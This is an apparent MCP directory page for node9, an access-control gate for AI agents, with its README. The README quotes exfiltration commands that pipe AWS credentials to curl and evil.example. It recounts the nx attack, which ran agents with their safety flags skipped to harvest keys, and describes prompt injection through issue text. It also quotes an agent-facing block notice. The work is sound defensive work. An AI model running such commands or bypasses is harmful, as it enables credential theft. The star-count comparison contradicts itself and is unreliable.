node9

Security

Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call.

Your AI app calls the node9 MCP server, which does the security work and sends the result back to the chat.

About node9

node9 is a community MCP server from node9-ai, filed in our directory under security. Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call.

node9 runs on your own machine: your AI app starts it with the command npx -y node9-ai@2.26.2 mcp-server and talks to it over standard input and output.

node9 is listed in the official MCP registry as io.github.node9-ai/node9, version 2.26.2.

At a glance

Publisher
node9-ai (community)
Runs
Locally on your machine
Install from
Node.js package on npm: node9-ai
Written in
TypeScript
License
Apache-2.0
GitHub stars
226
Official MCP registry
io.github.node9-ai/node9

How to set up node9

  1. Install Node.js on the machine that runs your AI app, because node9 starts with npx and downloads its package on first run.
  2. Check the node9 README for keys or settings; the registry lists none that node9 requires.
  3. Add node9 to Claude Code, Claude Desktop, VS Code or Cursor with the config in the setup box on this page.
  4. Restart the app or reload its MCP servers, then ask it to list the node9 tools to confirm the connection.
  5. Run one read-only task with node9 first, and keep your app asking before each tool call until the results look right.

node9 compared with similar servers

  • Reversecore by sjkim1127 has fewer GitHub stars than node9 (226 against 226); both are community servers, and both run locally.
  • Burp MCP Agents by six2dez has more GitHub stars than node9 (239 against 226); both are community servers, and both run locally.
  • Secops by securityfortech has fewer GitHub stars than node9 (219 against 226); both are community servers, and both run locally.

Before you connect node9

  • Give node9 its own API key or account with the smallest permissions the job needs, never an admin key.
  • Keep your AI app asking before each node9 tool call until you trust what it does with them.
  • Treat text that node9 fetches as data. Pages, files and messages can hold instructions written to steer an AI.
  • Read the open issues for node9 on GitHub to see what breaks and how fast the maintainers reply.

Marketing use cases for node9

How marketing and sales teams put node9 to work, by company size. Pick the size closest to yours and start node9 on one use case.

Small business

  • A small business can use node9 to check its domains, logins and site for common gaps before they cost a customer's trust.
  • Owners can ask node9 whether a tool or vendor has known issues before connecting it to customer data.
  • node9 runs on your own computer, which keeps data local; it needs a little setup, so a small team should plan an hour for it.

Mid-market

  • Marketing ops can use node9 to review what each connected app can access and remove keys nobody uses.
  • Security and web teams can connect node9 to scan campaign sites and forms before launch, not after an incident.
  • Start node9 on one workflow with one owner, measure the time it saves, then roll it out to the wider team.

Enterprise

  • Enterprises can run node9 in the security team's tooling, so marketing's agents and apps are reviewed like any other system.
  • Large orgs can use node9 to keep evidence for audits, showing which agents reached which data and when.
  • node9 is a community server, so have security review the code and pin a version before node9 touches company data.

Need help becoming an AI-forward company?

We connect MCP servers and AI agents to your CRM, content and data, with the guardrails your team needs.

Contact us

node9 README

From node9-ai/node9-proxy on GitHub, shared under its Apache-2.0 license. Images are left out; the original has them.

README.md

🛡️ node9

Access control for AI agents

Your AI agents can reach Slack, GitHub, email, and your database.
node9 decides what they may do with each one.

Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents

Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Grok Build (Cursor) · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.

Three ways in

See Scan a repository on every pull request, or check this machine. Nothing to install. Scan every pull request
Guard Put node9 in front of every tool call your agents make: allowed, blocked, or held for you. Guard your agents
Prove One OWASP Agentic Top 10 report across every agent and every machine your team runs. Prove it to your team

Scan every pull request

This repository is also the GitHub Action node9 Agent Security. It reads the agent configuration committed to a repository (workflows, agent settings, MCP servers, instruction files) and reports what a pull request could turn against you. Nothing runs, no agent is installed, and it needs no account and no secret: the job token is enough.

Add one file, .github/workflows/agent-security.yml:

name: node9 agent-security
on: pull_request
permissions:
  contents: read
  pull-requests: write
  checks: write
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: node9-ai/node9-proxy@v2
        with:
          fail-on: high # never | medium | high | critical
          fail-on-scope: introduced # judge only what this PR added or made worse

Every pull request then gets:

  • A check that passes or fails at the severity you choose.
  • One comment that leads with the worst finding in plain words and how to fix it, updated in place on every push.
  • Annotations on the lines that caused them.
What it looks for
Workflows a stranger can steer a workflow that hands the text of an issue or a pull request to an agent that holds secrets or can run commands, or that runs the agent inside a fork's code
Agent settings allow rules that cover credentials or any command, hooks that fetch remote code, local settings committed by mistake
MCP servers and plugins a server installed at whatever version is newest, a credential written into the config
Secrets in reach secrets an agent in a workflow can read, and the ways it could leak them
Instruction files and skills hidden characters, text that tells the agent to drop its instructions, to fetch and obey a page, or to send data out

The comment, on a repository where anyone can open an issue that an agent reads:

🛡️ node9 agent-security · 🔴 High: action needed

Anyone can make this repository's AI agent act with its permissions

A stranger opens an issue with instructions for the agent. The agent follows them with this repository's permissions.

What we saw in .github/workflows/triage.yml:13:

  • Anyone can start the agent (allowed_non_write_users: "*").
  • It reads the text of the pull request or issue.
  • It can run any command (Bash).

✅ How to fix:

  1. Let only people with write access start it: remove allowed_non_write_users: "*".
  2. Give the agent only the tools the job needs.

Also found:

  • 🟡 MCP server files installs whatever version is newest, every time (.mcp.json)
Inputs
Input Default
fail-on never The severity that fails the check: never comments without gating, medium, high or critical.
fail-on-scope all introduced judges only what the pull request added or made worse, so a repository that already has findings can turn the gate on today.
comment true Post the comment on the pull request.
annotate true Annotate the findings on the diff.
node9-version latest The node9-ai version that scans. Pin it for reproducible runs.
node9-upload-key empty Optional. Sends each push scan to your node9 workspace, which keeps the history per repository. Empty sends nothing.
telemetry true An anonymous usage count per run: the scanner version, the operating system, the worst severity, whether the scan finished, and a hash of the repository's numeric id that node9 keeps only inside a count. Never the repository name, a path, a finding or any code.

Under pull_request_target the Action does not scan and says so: there it would read the base branch, not the pull request. The full reference is in the repository scanning docs.

Check a repository or this machine now

No workflow, no install and no account. scan-repo sends the same anonymous usage count as the Action (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.

npx node9-ai scan-repo owner/repo   # the same scan as the Action, on any public repository
npx node9-ai posture                # scores this machine 0-100: what a compromised agent could read, reach and run
npx node9-ai scan                   # every past agent session on this machine

The hosted scan at node9.ai/scan does the first one in the browser.

Guard your agents

node9 sits between an agent and every tool it calls: files, commands, the network and every app it reaches. Each call is allowed, blocked, or held for you.

Below, a real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.

Measured in the open

node9 has the highest balanced score on AgentVerdict, an open benchmark for AI agent guards: 81.9% on 7,928 cases labelled by outside sources, with 1.4% of safe actions stopped (node9 2.65.6, corpus 8.0.0). Every case, every run and the code are public, so you can run it on any guard yourself.

Install
brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Then, in any project:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. The summary lists configured agents and any setup steps that need attention.

On a new machine the first run prints one line about the anonymous usage count: a random install ID, the OS, the node9 version and the detected agents, sent when setup starts and once a day node9 runs. No code, commands or paths. Turn it off with node9 telemetry off, NODE9_NO_TELEMETRY=1 or DO_NOT_TRACK=1; it is never sent in CI. node9 telemetry status shows what this machine does.

Run node9 setup to revisit setup, or node9 setup <target> to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

login adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.

Every release artifact is signed. To check one yourself:

gh attestation verify cli.js --repo node9-ai/node9-proxy
Use as an MCP server

node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.

Prove it to your team

Once machines are connected with node9 login, the dashboard reads them as one report on the OWASP Top 10 for Agentic Applications, for every agent and every team. For each of the ten risks it shows which devices and repositories are exposed now, what happened, and what your policy stopped. Each number opens to the device, the repository or the check behind it.

The problem

In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.

The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.

What node9 does about it

node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.

node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.

What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.

What it governs

Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.

Credential jail ~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell docs (node9.ai/docs/shields)
Always-on rules destructive git, SQL without a WHERE, curl | bash and unauthorised sudo, with no config docs (node9.ai/docs/smart-rules)
Secrets and PII AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back docs (node9.ai/docs/dlp)
Per-service shields curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem docs (node9.ai/docs/shields)
Inline review a held action asks you inside the agent conversation, or through a team approver docs (node9.ai/docs/cloud-policy)
Egress allowlist gate where a shell command may send data, off by default docs (node9.ai/docs/egress)
MCP gateway wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back docs (node9.ai/docs/mcp-gateway)
Sandbox run an agent in a container with a kernel egress allowlist and scoped mounts docs (node9.ai/docs/sandbox)
Posture score how exposed this machine is, with the command that fixes each finding docs (node9.ai/docs/posture)
Repo scanning find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI docs (node9.ai/docs/repo-scanning)
Session history read what every agent already did on this machine, before node9 was installed docs (node9.ai/docs/sessions)
Live monitor and report a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius docs (node9.ai/docs/report)
Skills pinning SHA-256 verification of installed Claude skills and plugins between sessions docs (node9.ai/docs/skill-pinning)
Canary credentials planted fake keys that prove an exfiltration attempt happened docs (node9.ai/docs/canary-credentials)
Python SDK govern any Python agent, not only the CLIs docs (node9.ai/docs/python-sdk)

Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.

Learn

Background reading, written to stand on its own. Each page says what node9 does not cover.

Compare

Related projects

Enterprise

node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.

License

Apache-2.0

Built with ☕ and healthy paranoia.

Questions about node9

What is the node9 MCP server?

Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call. node9 is maintained by node9-ai on GitHub at node9-ai/node9-proxy, and works with AI apps that support the Model Context Protocol, such as Claude, Cursor and VS Code.

How do I install the node9 MCP server?

Add node9 to your AI app's MCP config with the command npx -y node9-ai@2.26.2 mcp-server. In Claude Code, run claude mcp add --transport stdio node9-proxy -- npx -y node9-ai@2.26.2 mcp-server. To run node9 this way you need Node.js installed.

Does node9 need an API key?

The registry lists no required keys for node9. Check the node9 README for optional settings, and expect a remote server to ask you to sign in the first time you connect.

Is node9 an official MCP server?

No. node9 is a community server maintained by node9-ai. Community servers can be excellent; read the code and the open issues before you give node9 access to company data.

What license is node9 under?

node9 is released under the Apache-2.0 license, according to its GitHub repository. The license covers the code of node9; the service it connects to has its own terms.